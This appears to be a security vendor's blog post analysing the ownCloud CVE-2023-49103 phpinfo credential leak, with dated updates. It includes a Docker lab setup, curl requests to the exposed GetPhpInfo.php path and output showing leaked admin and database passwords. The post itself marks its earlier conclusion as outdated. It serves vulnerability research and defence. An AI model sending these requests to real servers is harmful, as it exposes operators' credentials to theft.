2023-12-01 Update #3
Rapid7 has released full exploit details, including how to pass the
mod_rewrite
rule. We’ll continue watching for scanners to update their endpoint!
2023-11-30 Update #2
We received an exploit that does work against the Docker version! We updated our tags to detect the new variation and verified that folks scanning the internet are not using this, which means the opportunistic attackers are not able to exploit Docker versions (right now). But it’s only a matter of time, so be sure you’ve patched!
2023-11-30 Update #1
The original researcher has indicated that exploiting Docker versions actually is possible, but there’s more to the exploit than we’ve uncovered. They expect to post full details next week, so patch your hosts!
In the meantime, we’re continuing to monitor exploitation attempts against our sensors. As far as we can tell, everybody scanning the internet is using the same exploit we tested, which will almost certainly fail against vulnerable hosts.
2023-11-29 Original Post
THE INFORMATION BELOW HERE IS NO LONGER CURRENT - SEE THE UPDATES ABOVE
Earlier this week, we published a tag for CVE-2023-49103 and noticed that attackers were trying to exploit the vulnerability. We wrote a blog discussing it, and got feedback that Docker installations do not appear to be vulnerable. That posed quite a mystery!
The basic idea of the vulnerability is that a script included by default with ownCloud would run phpinfo()
and show the results to the user:
/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
or/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
The phpinfo()
function prints out a bunch of system information, including environmental variables. Since ownCloud’s Docker installation, like many (most?) Docker installations, passes credentials in the environment, exposing the environment would also expose credentials (including the default admin password, the MySQL password, and others).
Test environment
To test this issue, we set up a docker environment with the following docker-compose.yml
file:
version: "3"
services:
owncloud:
image: owncloud/server:${OWNCLOUD_VERSION}
container_name: owncloud_server
restart: always
ports:
- ${HTTP_PORT}:8080
depends_on:
- mariadb
- redis
environment:
- OWNCLOUD_DOMAIN=${OWNCLOUD_DOMAIN}
- OWNCLOUD_TRUSTED_DOMAINS=${OWNCLOUD_TRUSTED_DOMAINS}
- OWNCLOUD_DB_TYPE=mysql
- OWNCLOUD_DB_NAME=owncloud
- OWNCLOUD_DB_USERNAME=owncloud
- OWNCLOUD_DB_PASSWORD=owncloud
- OWNCLOUD_DB_HOST=mariadb
- OWNCLOUD_ADMIN_USERNAME=${ADMIN_USERNAME}
- OWNCLOUD_ADMIN_PASSWORD=${ADMIN_PASSWORD}
- OWNCLOUD_MYSQL_UTF8MB4=true
- OWNCLOUD_REDIS_ENABLED=true
- OWNCLOUD_REDIS_HOST=redis
- APACHE_LOG_LEVEL=${APACHE_LOG_LEVEL}
healthcheck:
test: ["CMD", "/usr/bin/healthcheck"]
interval: 30s
timeout: 10s
retries: 5
mariadb:
image: mariadb:10.11 # minimum required ownCloud version is 10.9
container_name: owncloud_mariadb
restart: always
environment:
- MYSQL_ROOT_PASSWORD=owncloud
- MYSQL_USER=owncloud
- MYSQL_PASSWORD=owncloud
- MYSQL_DATABASE=owncloud
- MARIADB_AUTO_UPGRADE=1
command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
interval: 10s
timeout: 5s
retries: 5
redis:
image: redis:6
container_name: owncloud_redis
restart: always
command: ["--databases", "1"]
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 5s
retries: 5
And an associated .env
file:
OWNCLOUD_VERSION=10.10.0
OWNCLOUD_DOMAIN=localhost:8080
OWNCLOUD_TRUSTED_DOMAINS=localhost
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
APACHE_LOG_LEVEL=trace6
HTTP_PORT=8080
In addition to removing persistent volumes and other stuff that doesn’t really matter, we made two important changes to the docker-compose.yml
file published by ownCloud:
- We added an
APACHE_LOG_LEVEL
variable and cranked it up totrace6
- We also set the
OWNCLOUD_VERSION
to10.10.0
, which is an arbitrary-but-old version we chose for testing
Once that’s done, you can stand up the necessary containers (I use Fedora, which prefers podman-compose
, but docker-compose
should work just as well):
$ podman-compose up
podman-compose version: 1.0.6
['podman', '--version', '']
using podman version: 4.7.2
** excluding: set()
['podman', 'ps', '--filter', 'label=io.podman.compose.project=owncloud', '-a', '--format', '{{ index .Labels "io.podman.compose.config-hash"}}']
['podman', 'network', 'exists', 'owncloud_default']
[...]
Once that’s done, we can access the server on localhost port 8080. Easy!
Testing the exploit
But, as noted online, the exploit doesn’t actually work:
$ curl -i 'http://localhost:8080/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:53:15 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]
We heard rumors that removing /owncloud
might fix it, but no-go on that, either:
$ curl -i 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php'
HTTP/1.1 302 Found
Date: Wed, 29 Nov 2023 19:54:04 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Location: http://localhost:8080/login
[...]
(It actually appears that both paths are potentially used, depending on how ownCloud is installed/configured)
Logging in also didn’t help. What’s going on?!
Apache and mod_rewrite
As noted earlier, we boosted Apache’s log levels sky-high by setting trace6
. That causes a ton of output, but what’s important is:
[...]
[Wed Nov 29 19:55:08.760558 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocs-provider/' => matched
[Wed Nov 29 19:55:08.760564 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/var/www/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!/ocm-provider/' => matched
[Wed Nov 29 19:55:08.760571 2023] [rewrite:trace4] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] RewriteCond: input='/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' pattern='!^/.well-known/(acme-challenge|pki-validation)/.*' => matched
[Wed Nov 29 19:55:08.760578 2023] [rewrite:trace2] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] [perdir /var/www/owncloud/] rewrite 'apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' -> 'index.php'
[Wed Nov 29 19:55:08.760583 2023] [rewrite:trace5] [pid 231] mod_rewrite.c(483): [client 10.89.0.31:36810] 10.89.0.31 - - [localhost/sid#7fd1566a30b8][rid#7fd15693a0a0/initial] setting env variable 'PATH_INFO' to ''
[...]
A mod_rewrite
rule is redirecting GetPhpInfo.php
to index.php
. Hmm! After some looking, we found the mod_write
rule in the /var/www/owncloud/.htaccess
file:
$ podman exec -it owncloud_server /bin/bash
root@610b52d2a2bb:/var/www/owncloud# cat .htaccess
[...]
<IfModule pagespeed_module>
ModPagespeed Off
</IfModule>
#### DO NOT CHANGE ANYTHING ABOVE THIS LINE ####
RewriteCond %{REQUEST_FILENAME} !/ocm-provider/
RewriteCond %{REQUEST_URI} !^/.well-known/(acme-challenge|pki-validation)/.*
RewriteRule . index.php [PT,E=PATH_INFO:$1]
[...]
Note the “DO NOT CHANGE” line - we’ll come back to that!
The RewriteRule
at the end is the problem - it changes every unknown path to index.php
. That’d do it! If we remove that line and try the payload again, it works:
$ curl -s 'http://localhost:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php' | grep PASSWORD
<tr><td class="e">OWNCLOUD_MAIL_SMTP_PASSWORD </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_ADMIN_PASSWORD </td><td class="v">admin </td></tr>
<tr><td class="e">OWNCLOUD_DB_PASSWORD </td><td class="v">owncloud </td></tr>
<tr><td class="e">OWNCLOUD_LOST_PASSWORD_LINK </td><td class="v"><i>no value</i> </td></tr>
<tr><td class="e">OWNCLOUD_REDIS_PASSWORD </td><td class="v"><i>no value</i> </td></tr>
But, where’d that rule come from?
Where’d that rule come from?
We found the .htaccess
file from the source tree, which does not have that line! In fact, the file ends where the “DO NOT CHANGE” line we noted earlier is!
It took a bit of investigating (ie, Googling and downloading Github repos), but eventually we found documentation on how ownCloud uses rewrites. Based on that, we found Setup.php in the github repository, which configures the server. When the server starts, Setup;php
checks a config variable called htaccess.RewriteBase
, which, if set, adds a bunch of rewrite lines (including the one that breaks the exploit) to the .htaccess
file.
So that’s where it came from!
So basically, the htaccess.RewriteBase
rule determines whether or not the server is vulnerable.
Conclusion (TL;DR)
The conclusion is no longer the best information we have! See the updates above
So, this exploit relies on an errant call to phpinfo()
to leak environment variables, which are used to pass sensitive information to the Docker image.
With that in mind, the three situations that can happen are:
- ownCloud is installed in a non-Docker environment with
htaccess.RewriteBase
unset - vulnerable, but likely doesn’t expose sensitive information - ownCloud is installed in a non-Docker environment with
htaccess.RewriteBase
set - not vulnerable - ownCloud is installed in Docker, where
htaccess.RewriteBase
always appears to be set - not vulnerable
This isn’t to say that it’s 100% non-exploitable! It’s certainly possible that somebody could modify that Dockerized version to be vulnerable (we certainly did!), and folks may roll their own Docker version that’s vulnerable, and, of course, folks might store valuable stuff in the environment for non-Docker versions. But, overall, useful exploitation of this vulnerability seems unlikely; as a result, we don’t expect we’ll see much interesting exploitation, if any. But attackers are welcome to keep hitting our sensors, and we’ll keep logging it!